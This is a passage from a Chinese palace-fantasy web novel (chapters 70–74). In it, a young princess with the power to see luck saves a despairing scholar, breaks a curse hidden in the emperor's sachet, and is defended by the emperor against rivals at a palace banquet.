程如安闻言心中一凛,顺着她指的方向看去,只见一个书生模样的人,正神情麻木地将一根粗绳抛过头顶的树干。
她当即喝道:“停下!快!去拦住路边那位公子!”
马车停下,下人们立刻冲了过去,将正准备自缢的书生拦了下来。
程如安领着女儿走过去一看。
被救下的是个年轻男子,约莫二十出头的年纪,一身半旧不新的青衫披在身上,身形削瘦。
面容倒是清秀儒雅,只是此刻他脸色苍白,一双眼睛空洞地望着天空,脸上全是生无可恋的茫然。
只见他眼神渐渐聚焦,目光落在了程如安和团团的身上。
呆愣了片刻后,挣扎着想起身行礼。
被程如安抬手止住:“公子不必多礼,你,缘何如此?”
团团则直接问了出来:“你要在这里荡秋千吗?“
男子闻言,脸上露出一丝比哭还难看的苦笑:“多谢夫人,小姐搭救之恩。”
“并非在下想不开,只是,只是在下这一生,运气实在差得离谱,活着也是一事无成,徒增烦恼,这才出此下策。”
他长长地叹了口气,像是要把满腹的牢骚和委屈都吐出来。
“在下冯舟,苦读十年,好不容易高中进士,殿试那天却因太过激动,一脚踩空,摔伤了腿,御前失仪,功名就此没了。”
“回家后,父亲嫌弃我无用,未婚妻觉得我前途尽毁,毁了婚约,嫁给了我那个只会遛鸟斗蛐蛐的表弟。”
“在下心灰意冷,想做点小生意,结果雇的船队遇上了百年不遇的运河枯水,货全烂在了半路,血本无归。”
“想去找同窗好友借点盘缠,他却因我一身晦气生怕沾染上,吓得连夜搬了家。”
“在下想当掉身上唯一值钱的玉佩,聊以度日,却在去当铺的路上,被一只猴子把玉佩给抢走了。“
“我追了那猴子整整三条街,最后看到它熟练地把玉佩戴在了耍猴人的脖子上。”
“在下不服,上去与耍猴人理论,却险些被他打了,只好落荒而逃。”
他抬起袖子擦了把脸,流下的不知是泪水还是汗水:“夫人您说,就我这运气,活着还有何意趣?“
第70章 家里的贵客是谁啊
一番话听得周围的下人都忍不住侧目,想笑又觉得不合时宜,只得拼命忍住。
程如安也忍不住惊讶,这人这生平遭遇,确实闻所未闻,真是不可思议,刚想说几句宽慰的话,团团却开了口。
“不对啊,你是个运气很好的人啊!”
程如安心中一动,将她抱了起来,轻声问:“团团看到了什么?”
团团脆生生的回答:“娘亲!他的身上,有红红的光!但是,也黑黑的!”
程如安眉头轻蹙:“娘亲……没听懂。”
冯舟也是听得一愣,茫然地看向这个,看起来站着还没他腿高的小娃娃。
团团解释道:“你以前的运气很好啊!可是,有一层很厚很厚的黑气,把它都盖住啦!叔叔,你一定是让人给害啦!”
“什……什么?”冯舟彻底呆住,这话从一个稚童口中说出,简直是荒诞至极,实在难以置信。
程如安看向冯舟的眼神多了几分深意:“冯公子,你仔细想想,你的霉运从何时开始的?在那之前,你可曾做过什么?“
“你诸事如此不顺,那么你倒霉了,是否有人因此受益?“
冯舟如遭雷击,脸色瞬间惨白了下来,嘴唇哆嗦着,再也说不出一句话来。
那些曾经被他忽略的事情,大伯突然的关切,要走了自己的生辰八字,从此自己便开始倒霉,大伯家却一帆风顺起来……瞬间串联在了一起!
他猛地抬头,看向团团的眼神充满了惊骇和期待:“这位小姐,多谢你指点迷津!在下想请教小姐,我究竟该如何做,才能摆脱这霉运,恢复到从前那般?“
团团歪着小脑袋看着他,想了半晌,没有开口。
冯舟的脸色黯淡了下来:“竟是……没法子了?”他惨然一笑:“既如此,是谁诓骗了我,也不重要了。”
程如安心中不忍:“冯公子莫要如此,事情总会有转机的……”
“有了!”团团突然喊了一声,低头解开了腰上系着的小荷包,掏出了一颗念珠,小手一伸:“给你!你带着这个,就不会再倒霉啦!”
正是玄清**送给她的那串星宿流珠上的一颗。
程如安自从听说她当街让丈夫将珠串扯断,送了陆二的母亲一颗,便干脆给她又做了一个小荷包,将所有的珠子都拆开放了进去,嘱咐她随身戴好。
一是因为这串流珠无人不知,女儿戴着出门实在过于显眼,二是担心哪天她又要送人,把其他的珠子不慎弄丢了。
没想到,今日便派上了用场。
冯舟双手颤抖着接了过来:“这是?”
程如安替女儿回答了他:“这是玄清**的星宿流珠。”
玄清**的星宿流珠?那是何等宝物啊!有了它,定能扭转乾坤!
冯舟大喜,倒头便下跪连连磕头:“多谢小姐!多谢夫人!点拨之恩,如同再造!”
他激动的声音都有些颤抖,原本黯淡的双眼重新燃起光彩:“冯某虽不才,家父却也曾任工部员外郎,冯某自幼耳濡目染,于工部诸事也略知一二。“
“无论是城池宫殿规划、军械甲胄的铸造、还是水利河道的修筑,乃至各种奇巧器械的制作,皆颇有些心得!若蒙不弃,冯某愿为您效犬马之劳,但有差遣,绝无推辞!”
他激动得口若悬河,一口气说了一大堆,团团听得小脸皱成了一团:“你说的都是什么啊!我听不懂捏!”
程如安却心中一跳,姓冯的工部员外郎之子,竟然是他!丈夫还曾经说过,那孩子不简单,是个有才的,将来必能堪当大任:“你竟是冯大人家的那个孩子?“
“传闻你天赋异禀,于工部诸事上小小年纪便显露奇才,名动京城,不料竟落魄至此。”
冯舟脸色黯然,轻轻摇了摇头:“家父早已被贬,夫人见笑了。”
程如安看了女儿一眼,这孩子,今日这是,救了个利国利民的人才啊。
“刘嬷嬷,拿一百两银票给这位公子。”
刘嬷嬷赶紧上前,掏出一张银票递到了冯舟的面前。
冯舟连连摆手:“使不得,使不得!冯某已蒙大恩,无功不受禄,断断不能收。“
程如安微微一笑:“冯公子不必客气,今日既碰巧救了你,小女又
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帮你解了厄运,便是有缘。收下吧,望你从此莫要再自怨自艾,更不要轻生放弃。“
“你一身的本事,理应报效朝堂,为这天下的黎民苍生,谋一份安稳与便利。”
冯舟肃然起敬:“在下谨记!不知夫人府上是?”
刘嬷嬷接口:“这是宁王妃和嘉佑郡主。”
冯舟恭恭敬敬行了个大礼:“多谢宁王妃,多谢嘉佑郡主!冯某告辞。“
程如安点了下头,目送着他兴高采烈地转身离去。
团团搂着她的脖子:“娘亲!这个叔叔,是个很有本事的人吗?”
程如安回过神来,在她的小脸上亲了一口:“是啊!团团今日,做了件大好事,救了一个大大有用的人才呢!”
母女二人登上马车,回到了王府。
刚在门口处下了车,下人便赶紧禀报:“启禀王妃,府中来了贵客,正在养正轩喝茶,已遣人去请王爷回府了。”
程如安问:“何人来访?”
下人们摇了摇头:“小人不知,从没见过。但同来的那位公公,正是来宣过旨的程公公。”
程如安一惊,程公公?宫里来人了?程公公可是陛下身边的,能让他作陪,莫非是……
急忙吩咐正扶着团团下车的刘嬷嬷:“府中来了贵客,带团团去花园里逛逛,我去静兰苑更衣。”说完便匆匆去了。
“是。”刘嬷嬷应了一声,牵起团团的手:“小小姐,跟嬷嬷去园子里玩好不好?”
团团点了点头,家里来客人了?谁啊?
团团跟着刘嬷嬷来到花园:“嬷嬷!咱们来捉迷藏好不好?”
刘嬷嬷笑了:“好啊!嬷嬷先来,你对着这假山,大声数到十,我去藏好,数完了就来找嬷嬷,不许偷看哦!”
“好!我保证不偷看!嬷嬷你快去嘛!”
刘嬷嬷笑盈盈地走开了。
团团对着假山开始数:“一,二,三——”她突然拉长了声音。
片刻后,直接就报出了:“十!”
“哈哈哈……”一个男子爽朗的大笑声响了起来。
团团回头一看:“你是谁啊?“
第71章 小郡主中邪了?
萧杰昀低头看着面前的小娃娃:“你就是宁王的嫡女?嘉佑郡主?“
他在养正轩喝了盏茶后,闲来无事便走进了花园,没想到看到了这么有趣的一幕。
团团仰起头望着他,哇!这个人!浑身都是紫气!好厉害!
“对啊!我就是!你就是来我家的客人?“
萧杰昀没有回答,在一旁的石凳上坐了下来:“你多大了?”
团团伸出小手,五个手指张开:“五岁!你呢?”
萧杰昀仍然没有答她,笑了笑:“比你大多啦!”
“哼!”团团撇了撇嘴:“问你什么都不告诉我,不跟你玩啦!”
转身就要跑走,却看到萧元珩和程如安一起正快步向自己走来。
“爹爹!娘亲!”团团开心地跑了过去。
萧元珩一把将她抱起,和程如安一起走到萧杰昀面前。
齐齐下跪:“来,团团,给陛下行礼。臣/臣妇,拜见陛下!陛下万岁,万岁,万万岁!”
团团学着父母的样子,也行了大礼,原来,这就是皇帝诶!难怪浑身都是紫气。
娘亲说过,自己的嘉佑郡主就是他封的呢!他是个好人捏!
萧元珩听到下人禀告,赶回王府,在静兰苑门口正撞见更衣后出来的妻子,便一同来到了花园。
“平身。”一家三口站了起来。
萧杰昀淡淡道:“朕今日前来……”
话还没说完,团团便抬起两只小手捂住了自己的耳朵。
夫妻俩诧异地看向自己的女儿,萧杰昀皱了皱眉头,甚是不悦。
程公公端着茶水正好走过来,吓了一大跳,赶紧将手中茶盘放到一旁的石桌上:“哎呦!小郡主,圣上讲话,你可不能这样哦!”
他飞快地走到团团身边,蹲下身,握住她的小手,想给她拉下来,不让她再继续捂住耳朵。
没想到,团团看着萧杰昀大声喊:“龙气溃散!龙气溃散!”
童声清脆,字字清晰,却如同惊雷炸响。
程公公吓得魂飞魄散,一把捂住了团团的小嘴巴。
一瞬间,周围一片死寂。
程如安的脸色“唰”地一下白了,双腿一软直接便跪在了地上。萧元珩也是心跳骤停,下意识便想请罪。
程公公忙道:“哎呦!我的小祖宗!这是中了什么邪了?可不能胡说啊!”急得汗如雨下,小郡主平时那么招人疼的孩子,今儿这是怎么了?
萧杰昀阴沉着脸,目光深沉,帝王的威压倾泻而出,周遭的空气仿佛都凝固了。
“小丫头,”他的声音不高,听不出喜怒,“你可知,就凭你这句话,朕便可治你的罪?连你的父母兄弟都救不了你!”
萧元珩脸色骤变,双膝跪倒:“小女无状,年幼无知,请陛下息怒!”
团团用力挣脱了程公公的手:“翁翁!别捂着我!”非但没怕,反而伸出小手指着他:“不是我骂你呀!是有人在这样骂你!”
她学着某种语气,摇头晃脑念经一样地念叨:“龙气溃散!龙气溃散!龙气溃散!“
“他不停地喊,吵死啦!你晚上睡得着吗?”
最后这一句,如晴天霹雳,瞬间劈中了萧杰昀心中的疑惑。
他身躯一震,脸上露出了惊诧之色,低头看向程公公。
程公公此时也有些明白了:“陛下!您这些日子总是夜不能寐,哪怕睡着了也是噩梦缠身,身子大不如前,莫非……”
萧杰昀看向团团:“嘉佑郡主,朕问你,你又是如何得知此事的?”
团团上上下下地来回看他,突然,眼睛一亮,迈开小短腿,噔噔噔跑到了他的身旁。
程公公急忙站起来:“使不得!小郡主,不可离陛下那么近!”
萧杰昀摆了摆手,制止了他过来拦阻。
团团踮起脚,小手一抓,将他腰间佩戴的一个明黄色绣着金龙的香囊一把扯了下来。
“团团!”程如安一声惊呼。
“娘亲!就是这个!”团团蹲下来,扯开香囊的袋子,把里面的东西“哗啦”一下全都倒在了地上。
顿时,名贵香料散落一地,异香扑鼻。
她毫不在意,在一堆香料里扒拉了几下,很快,指尖捏起一个只有指甲盖大小、黝黑发亮、刻满了诡异红色纹路的木片。
对着萧杰昀举得高高的:“就是它在骂你!”
她左右看了看,跑到旁边的假山下,捡起一块趁手的石头,又颠颠儿地跑了回来,
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当着所有人的面,将那黑色木片放在青石板上,举起石块,用力砸了下去!
“啪”的一声脆响。
木片应声而碎,一缕黑烟腾空而起,随即四散奔逃,消失在空中。
“哇……”与此同时,萧杰昀猛地捂住胸口,脸色一白,控制不住地呕出了一大口暗红色的瘀血。
“陛下!”程公公和萧元珩夫妇慌忙上前。
萧杰昀摆了摆手,阻止了他们。
他用力喘了几口气,突然发觉,这口血吐出来以后,原本滞涩的胸口竟前所未有地顺畅起来。
连日来盘踞在头顶的昏沉感骤然消失,一种久违的轻松瞬间流遍四肢百骸!
他难以置信地活动了一下手脚,眼中爆发出惊人的神采。
“陛下!您……”程公公紧张地看着地上的那滩血,只觉得今日自己这场惊吓受得着实不轻,都快站不住了。
“无妨!”萧杰昀深吸了一口气,瞬间闻到了满鼻的花香,神清气爽,“朕,从未感觉如此好过!”
团团小嘴一撇:“当然啦!没人再吵你了嘛!
萧杰昀若有所思地看着她:“皇叔曾告诉朕,自你来到王府,府中诸事皆顺,原来,竟果真如此。“
他看向萧元珩夫妇:“皇叔,你这嫡女,非比寻常啊!“
萧元珩夫妇的心刚放回了肚子里,又提了起来,连忙回道:“陛下谬赞了。“
萧杰昀看着团团:“你救驾有功,想要什么赏赐?“
程如安连忙推辞:“陛下洪福齐天,自有天佑。团团尚且年幼,碰巧为之,万万不敢居功求赏。”
萧杰昀摇了摇头:“宁王妃不必多言,让她自己说。”
团团仰起小脸,奶声奶气地问:“想要什么都可以吗?“
萧杰昀微笑:“可以。“
团团很认真地看着他,这是皇帝诶!什么都有的那种!跟他要点儿什么才好呢?
她琢磨了一会儿:“那你有银子吗?道长爷爷说过,帮了别人的忙,可以收银子!”
萧元珩:“……”
程如安:“……”
程公公脚下一个趔趄,差点想给这位小祖宗跪了,活了这么久,还是第一次见到开口跟陛下要赏钱的。
第72章 太后的侄女和坏姐姐
萧杰昀一愣,随即爆发出畅快淋漓的大笑:“哈哈哈!有!有!程谨言!”
“老奴在!”程公公躬身应道。
“传朕旨意,赏嘉佑郡主黄金千两!”
他低头看了一眼自己的腰间,解下了随身玉佩:“来,团团。“
团团听见他喊自己,走了过去。
程如安一看,连忙道:“陛下!这可使不得!团团当不起。“
萧杰昀摇了摇头,亲手将玉佩给团团系好:“救驾之功,岂可只值千两黄金,这孩子与众不同,朕看着喜欢,这玉佩,以后便让她带着吧。“
萧元珩夫妇连忙把女儿拉过来,一起谢恩:“谢陛下厚赐!“
团团摸着那玉佩,哇!上面也有紫气呢!这可是个好东西!“谢谢陛下!这个玉佩好漂亮,我很喜欢!“
萧杰昀也笑了:“今后便唤朕皇伯父吧,不必跟着旁人陛下陛下的那么生分。”
萧元珩夫妇更是震惊,皇伯父!圣上竟亲口自称是女儿的皇伯父!这恩典堪比天大了。
急忙拉着女儿再次谢恩。
团团脆生生地喊了一声:“皇伯父!“
萧杰昀微笑应了:“好!“
他看着那高高兴兴扑进父母怀里的小娃娃,皇叔啊皇叔,你到底是走了什么运,能得来这么个宝贝!
片刻后,他收敛了脸上的笑意,正色道:“今日之事,事关重大。在朕查出原委之前,不可对外泄露半分。”
萧元珩夫妇立刻躬身应道:“遵旨!”
团团也跟着喊:“知道啦,皇伯父!”
萧杰昀这才微微颔首:“回宫。”
次日一早,萧宁珣回家了。
团团一睁眼就看到了自家三哥,高兴得手舞足蹈,寸步不离地跟在他身后:“三哥哥!你可算是回来啦!”
“你不在家,都没人陪我玩了!我好想你啊!“
萧宁珣的心都快让她说化了,一把抱起了她,再也舍不得撒手。
“我也是啊!小团团!昨日我听说你同母亲来过了,今天书院无课,我都没和同窗们一起出去,赶着就回来了,就想多陪你一会儿。“
“团团想玩什么?想去哪儿?三哥都陪着你!“
团团搂着他的脖子,小脸蛋扎进他的怀里:“三哥哥最好啦!“
兄妹两个一起用过了早膳,开开心心地一起腻在了萧宁珣的珣玉斋里。
下人在外禀告:“外面来了一位公子,叫冯舟,求见小小姐!“
“冯舟?“萧宁珣抬起头:“见团团?”
团团想起来了:“啊!昨天给过他一颗珠子的人!”
萧宁珣吩咐:“团团认识?那请他进来吧。”
冯舟穿着一身洗得发白的青衫,大步走了进来,步伐稳定,眼中带着光彩。
他一看见团团,没有任何犹豫,撩起衣袍,便郑重其事地跪了下去,俯身便拜:
“冯舟,拜见主子。谢主子昨日的点拨救命之恩。今日特来立誓,此生愿为主子效犬马之劳,任凭驱策,绝无二心!”
他的声音清朗而坚定,在安静的前厅内回荡。
团团被他这大礼吓了一跳,往后退了好几步,小脑袋摇得像拨浪鼓:“不要跪呀!起来!起来!‘主子’是什么东西,好难听哦!“
冯舟一愣,抬起头,看着小娃娃的一脸嫌弃,脸上的那份郑重其事差点儿没能维持住。
他从善如流地站起身,试探着问:“那……冯某该如何称呼才好?”
团团想了想:“对了!我是盟主诶!陆二他们都这样叫我,你也叫我盟主吧!盟主比主子好听多啦!
冯舟乐了:“好!盟主在上,请受冯舟一拜!”说着又跪了下去。
团团无奈了:“不要啦!又跪!你喊我盟主,就要听我的话哦!别跪啦!“
冯舟听话地站了起来,目光这才落在了萧宁珣的身上:“这位是?”
团团拉起萧宁珣的手:“这是我三哥哥!”
冯舟连忙拱手行礼:“原来是三少爷。在下冯舟,家父曾任工部员外郎。”
萧宁珣对他也曾有耳闻:“你就是冯舟?”
“正是在下!”说完,他从袖中取出一张早就准备好的纸,双手奉上。
“这是冯某如今的落脚之处。盟主若有任何吩咐,只需派人传个话,冯舟必定即刻赶到,万死不辞。”
萧宁珣替妹妹接了过来,仔细收好:“冯公子客气了。”
“不客气!不客气!“冯舟连连摆手,”这都是冯某心甘情愿的!”说完便告辞了。
萧宁珣望着他离去的背影,又低头看眼妹妹,不禁微微一笑。
看起来,团团她,在自己不知道的时候,又做了一件了不起的大事呢。
团团抬起头看他:“三哥哥,你想什么呢?”
萧宁珣问道:“团团,你是怎么有恩了这位冯公子啊?”
“他真的很倒霉诶!我给了他一颗珠子让他以后不会再倒霉。对了!”团团打开荷包,拿出一颗珠子递给他。
“三哥哥也有!”
萧宁珣笑着接了过来:“我也有啊?”
“当然啦!你是我最好的三哥哥,一定要有嘛!“
“那三哥谢谢你啦!咱们中午去碎金阁吃烤鸡好不好?他们那儿做的烤鸡可香了,团团想不想去?“
“想!“兄妹两个回禀了程如安后,高高兴兴地去了碎金阁。
吃完了
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回府一看,团团高兴坏了,萧元珩和萧宁辰都回来了。
“爹爹!二哥哥!你们回来啦!“她撒开小腿就跑了过去。
正跟儿子说话的萧元珩闻声转头,脸上瞬间笑开了花,一把将冲过来的女儿捞进了怀里,用带着胡茬的下巴去蹭她的小脸:“团团回来啦!想不想爹爹?”
“想!可想可想啦!”团团被他蹭得咯咯直笑,搂着爹爹的脖子用力地亲了一口。
萧宁辰看着她:“团团去哪儿了?玩得开心吗?”
“开心!二哥哥,我刚刚买了松子糖呢,给你!”团团从怀里掏啊掏,掏出一个小油纸包,献宝似的递给了萧宁辰。
萧宁辰接了过来,忍不住捏了捏她的小脸蛋:“团团真好!“
被冷落在一旁的萧宁珣:“……”
他默默走上前,声音里带着一丝委屈:“妹妹,我没有糖吗?”
团团“啊”了一声,小脸上闪过一丝心虚,啊!松子糖给了二哥哥,三哥哥就没有啦!
她想了想:“三哥哥有珠子哦!二哥哥没有!“
萧宁珣瞬间开心地笑了,对啊!妹妹给了我珠子,没给二哥!
萧元珩抱着香香软软的女儿,心里满足的不得了,瞥了两个儿子一眼,“团团,二哥有糖,三哥有珠子,那爹爹呢?”
团团捧着自家爹爹一张大脸,对啊,给爹爹什么呢?
她眼神一亮:“爹爹有烤鸡!我刚从碎金阁买回来的烤鸡!给爹爹吃!还有娘亲!”
萧元珩得意地冲两个儿子扬了扬眉毛,意思很明显:我也有!
兄弟两个互相看了一眼,都惹不住扶额:爹,能不能别这么幼稚!“
程如安走了过来:“来,团团,试试这身衣服,明日咱们要去宫中赴宴,看看合不合身。”
萧元珩放下女儿,问道:“明日有宫宴?”
程如安一边帮女儿试着新衣,一边答道:“太后从行宫回来了,明日是给她老人家准备的接风宴,场面盛大。这不,我又给团团做了身新衣服,让她明日穿了好去赴宴。”
萧元珩点了下头,看着打扮得像个小仙童一般的女儿,露出了赞赏的笑容。
次日正午,母女俩准时来到了皇宫。
“娘亲!这里比皇姑姑那里还大哦!这是什么地方啊?”
程如安给她解释:“这里啊,叫做太极殿,是专门举行大型宫宴的地方,你上次去的宸晖殿,是你皇姑姑住的地方。”
“皇姑姑?能叫长公主殿下一声皇姑姑的,想必是宁王府的嫡女吧。”一个清脆的声音从身后传来。
程如安回身一看,霍文萱和太后的侄女慕容玉瑶一起走到了面前。
第73章 皇伯父,她们想抢我的玉佩!
团团见到霍文萱,直接转过身去,无视了她们,哼,那个姐姐不是好人!跟她在一起的肯定也不是!我才不要理呢!
程如安眉头微蹙,这两个孩子长于宫中,一个是长公主的侄女,一个是太后的侄女,两人的年龄地位都相仿,平日便经常在一起。
霍文萱对女儿充满了敌意,这个慕容玉瑶……
只见两人走到面前,给她行了礼:“见过宁王妃。”却都故意不给团团这个嘉佑郡主行礼。
她们俩同是外戚,且并无封号爵位,见到郡主理应行礼问安,但两人如同商量好了一般,一起忽略了。
程如安没有计较,点了点头:“马上开宴了,都进去吧。”说完便领着女儿转身走进了正殿。
“盟主!”
团团抬头一看,陆清嘉!十分开心:“陆二!小话梅呢?”
陆清嘉吐了吐舌头:“这里是皇宫唉!盟主,我哪敢带它来啊!”
团团撅了撅嘴:“那你带它来找我嘛!我都好久没见到它了。”
“行!我明儿就带着它去找你!咱们再一起去万灵苑摸雪豹!”陆清嘉心心念念那只大猫,一想到团团撸猫时的样子,手心都痒痒。
团团连连点头:“好哎!明日咱们就去!我也想我的大猫咪啦!”
陆清嘉一直想抱抱她,却没有机会,这回终于等到了团团的哥哥们都不在身边,跃跃欲试:“小盟主,让我抱抱好不好?“
团团冲着他伸开了两个小胳膊:“好!“
陆清嘉开心地把她抱了起来,还掂了掂:“小盟主,你好轻啊!怎么吃得这么少?明儿我再请你去吃碎金羹!“
团团坐在他的怀里,搂着他的脖子:“好啊!要带上小话梅哦!“
陆清嘉一口答应:“没问题!一定把它带上!“
程如安微笑着对站在一旁的孟欣道:“这两个孩子处得还挺好。”
孟欣赶忙行礼:“见过宁王妃,嘉佑郡主。王妃说得极是,我这个儿子,平常跟野马一样,谁管他都不服,就单单听小郡主的!也是有趣。”
几人正闲聊间,霍文萱和慕容玉瑶走了过来。
孟欣连忙行礼:“文萱小姐,玉瑶小姐,两位安好。“
陆清嘉舍不得放下团团,抱着她拱了下手。
两人淡淡的点了下头,霍文萱看了一眼团团:“看起来,陆公子跟你很熟啊。“
团团看到她就烦,冲着她翻了个白眼:“对啊!你很羡慕吗?“
陆清嘉差点儿没忍住笑,盟主就是盟主,真厉害!
霍文萱眼睛立刻瞪了起来:“他一个小小的吏部侍郎之子,同你交好,有什么可值得本小姐羡慕的?“
孟欣的脸色有些难看起来。
慕容玉瑶比霍文萱下巴抬得还高,丝毫未将孟欣母子放在眼里。
我是太后最宠爱的晚辈,别说是一个小小的吏部侍郎,便是吏部尚书,见了我也得行礼。
她轻轻一笑:“文萱妹妹,你我自幼长于皇宫,每日所见皆是皇亲国戚,达官显贵,自是不会在意这些。“
“与那刚从乡下接回来的,“她淡淡地撇了团团一眼,”眼光自然不同。“
她上下打量了团团一番,目光突然定住:“你这玉佩精致得很哪,这上面的玄武纹,乃宫中规制,岂是你能戴的?难道又是长公主殿下所赐?”说完,看了霍文萱一眼。
霍文萱顺着她的目光看去,也注意到了团团腰间戴的玉佩,一眼看出并非凡品,眼中顿时冒出了妒火。
“玉瑶姐姐眼光不错,这确实是宫中之物,难道,真的是婶母赐给你的?我怎么不知道?”
程如安心里一沉,因着当日圣上赏赐团团这玉佩时说让她以后戴在身上,自己才没给她摘下来,特意小心翼翼地藏在了外裙之下,为的就是不让旁人看到。
没想到陆清嘉这么一抱,玉佩露了出来,还被这两个人看见了。
团团看了她们二人一眼,奶声奶气地问道:“你们不是刚才还说,自己是皇宫里长大的吗?连比我这个好的都没有吗?”
慕容玉瑶和霍文萱瞬间哑火:还真没有。
这玉佩周身泛着莹润的光泽,雕刻精细,纹路精美,自己今日所戴的,任谁看了,都一眼便能看得出来,确实差了许多。
孟欣有心打个岔,将此事敷衍过去,笑着道:“两位小姐,该入席了,时辰差不多了,太后和陛下想来也该到了。“
恰在此时,门卫内侍高声唱喏:“陛下驾到!太后娘娘,长公主殿下驾到!“
霍文萱和慕容玉瑶只得先闭了嘴,走到各自的位置上。
殿内众人皆下跪叩拜:“陛下万岁万岁万万岁!太后娘娘,长公主殿下金安!“
萧杰昀一身玄色龙袍坐于正首,太后和长公主坐于他的左侧:“平身。“
团团小胳膊小腿,摇摇晃
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晃地行礼,在一片大人们之中格外醒目。
“谢陛下!”
众人起身,纷纷落座。
慕容玉瑶第一个开口:“太后娘娘有所不知,方才我们正聊起宁王嫡女今日所戴的玉佩。“
“如此精美,还刻有玄武纹,我和文萱妹妹戴的,竟不及她很多呢。“
程如安眉头紧皱,这位慕容小姐,这是铁了心要和自己的女儿过不去了。
孟欣和陆清嘉都不禁为团团担忧了起来,团团虽是宁王嫡女,获封郡主,但这玉佩上的规制,明显不是她可以佩戴的。
太后的脸色沉了下来,看向长公主:“莫非,是你所赐?”
长公主也微微蹙眉:“启禀母后,并非儿臣所赐。”
慕容玉瑶一脸幸灾乐祸看好戏的表情。
霍文萱心中大喜,佩戴逾制饰品,还当众出席宫宴,乃大不敬之罪!终于可以将婶母身边这个野丫头撵走了。
程如安有些着急,这玉佩是团团救驾有功陛下所赐,但当日之事,圣上已严旨不可外传,如今却如何解释?
大殿中,人人侧目,陷入了令人窒息的沉默。
团团看了一眼皇帝,瘪了瘪嘴,一脸委屈,抬手一指坐在一处的慕容玉瑶和霍文萱二人:“皇伯父!她们都看我的玉佩好,想抢走呢!”
皇伯父!这一声喊出来,殿内一片哗然。
慕容玉瑶和霍文萱更是又惊又怒:我们几时要抢你的玉佩了?简直是血口喷人!
这个野丫头居然胆大包天地喊皇帝皇伯父?辈分虽然没错,但皇家天威,怎能不先论君臣?简直是大逆不道!
霍文萱厉声喝道:“闭嘴!你是什么身份!长公主殿下开恩让你唤一声皇姑姑已是天恩,竟胆敢口称当今圣上为皇姑父?“
“莫非是仗着宁王今日的权势,胆敢藐视君上了?“
程如安猛地抬头看向她,这是想借着眼前的事,打算把整个宁王府都拖下水了?小小年纪,怎的如此恶毒!
慕容玉瑶冷笑接口:“文萱妹妹此言不错,纵使她是宁王嫡女,嘉佑郡主,也容不得她如此尊卑不分,口出妄言,理应治罪!”
她抬头望向太后:“太后娘娘,您最重礼数,如此大不敬之罪今日若是轻巧放过,只怕日后这宫中上下,都要无法无天了!“
“长此以往,礼法规矩何在?尊卑如何分明?皇家的威严,又将置于何地?”
第74章 穿红衣裳的漂亮姨姨
程如安心跳加速,孟欣和陆清嘉也一脸紧张的看着团团。
太后阴沉着脸,目光落在了程如安的身上。
程如安赶忙站起:“太后娘娘请恕罪,是臣妇的错……”
她话没说完,皇帝萧杰昀淡淡开口:“宁王妃何错之有?这玉佩,是朕赏给嘉佑郡主的小玩意儿。”
慕容玉瑶和霍文萱都是浑身一震,竟、竟然是陛下所赐?!
萧杰昀面带微笑:“团团,来皇伯父这里。”
众人面面相觑,小郡主刚才那声皇伯父,皇帝竟然……应了?!
团团倒腾着小短腿跑到了他的身边,脆生生地喊了一声:“皇伯父!她们为什么不让我这样喊你啊?你不是我的皇伯父吗?“
抬手一指长公主:“就跟皇姑姑一样!“
萧杰昀看了慕容玉瑶和霍文萱一眼。
两人都急忙垂下了头。
萧杰昀微笑着摸了摸团团的头:“朕既允了你可以这样叫,你便叫得。她们啊,只是不知道罢了。“
太后的瞳孔猛地一缩,看向团团的眼神瞬间变得复杂深沉,这个小娃娃何德何能?竟能让皇帝和长公主都如此看重?
长公主松了口气,但也有些惊讶:皇帝何时对这孩子如此偏爱了?
慕容玉瑶和霍文萱脸色铁青,恨不得找条地缝钻进去。
方才自己对团团的所有的刁难和质疑,此刻都变成了狠狠抽回自己脸上的耳光,响亮无比。
萧杰昀伸手拿起团团腰间的玉佩轻轻摩挲了几下:“依朕看,这玉佩你戴着,正合适。”指了指程如安:“去吧。”
“好!”团团颠颠地跑回了程如安的身旁,程如安感激的看了皇帝一样,萧杰昀微微颔首。
众人此刻都彻底明白了,这位宁王府刚接回来的小郡主,不知为何,竟已得到了圣上的宠信。
“咳咳“太后轻轻嗽了下嗓子,息事宁人:”原来只是一场误会,皇帝,开宴吧,今日来的孩子们不少,估计都饿了呢。“
萧杰昀笑着点了点头,大殿内侍高喊:“开—宴!“
丝竹之声悠然而起,侍女们手捧珍馐美馔,步履轻盈地鱼贯而入。
贵妇们纷纷举箸,推杯换盏,笑语寒暄声渐渐响起,仿佛方才的事情从未发生,一片祥和。
萧杰昀坐了一会儿便告辞了:“母后,朕回紫宸殿了。愿母后凤体安康,尽享盛宴。”
太后点了点头:“国事为重,去吧。”
众人急忙起身行礼相送:“恭送陛下!“
萧杰昀摆了摆手,转身离席,众人待他身影消失,方又纷纷落座。
太后的目光总有意无意地扫向团团,看得程如安暗暗心惊,只想今日这宴席能尽快结束,再不要让女儿成为众人的焦点。
慕容玉瑶心里憋着一口恶气,眼见皇帝离席,再也按捺不住:“嘉佑郡主回京的日子虽不长,做的几件大事却传得满京城无人不知无人不晓。“
“玄穹观的赌约震惊京城,巧酥阁里识破金钗又救了谢主事,也不知是真是假?“
团团香喷喷地吃着面前的饭菜,吃得全神贯注,假装没有听见,一个字都没给她。
彻彻底底、完完全全地无视了她。
慕容玉瑶的脸瞬间涨得通红,火辣辣地烧了起来,却无可奈何。
对方是正儿八经的郡主,有封号有品级。而自己,纵然深得太后宠爱,说到底也不过是一个无爵无品的外戚之女。
尊卑有序,贵贱有别,郡主不接她的话,天经地义,谁也挑不出错处!
她暗暗咬牙,你不过是个出生便被送到外面养大的野丫头,好大的胆子!
太后的脸色再度沉了下来。
程如安连忙开口解围:“都是小孩子胡闹罢了,入不得玉瑶小姐的眼。“
霍文萱看了一眼太后,深知太后最是护短,团团让慕容玉瑶难堪,已是惹得这位老祖宗不悦,心中暗喜,此时不加把火,更待何时?
“玉瑶姐姐只知道这两桩?竟然没听说过,嘉佑郡主在清音堂,一曲震惊了钟子牙大师?对了,周姐姐当日也在场,不如,请她给大家讲讲?“
众人的目光一齐转向了靖海侯府的那桌。
程如安曾听萧宁珣讲过此事,顿时心又提了起来。
周语薇脸色铁青,狠狠瞪了一眼霍文萱,清音堂的事,令她一向引以为傲的才女之名毁于一旦。
她躲都来不及,生怕被旁人提起,如何还能大庭广众之下将当时的事情亲口说出?
韩雪苓看了她一眼,老辣得多:“当日在场之人众多,
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想来臣妇的甥女也不大记得了。”
话锋一转:“不过,能得子牙大师看重,郡主这天资,也着实无人能及。对了,臣妇听说,郡主并非是在宁王府中长大的?小小年纪,竟有如此造诣,当真不可思议。”
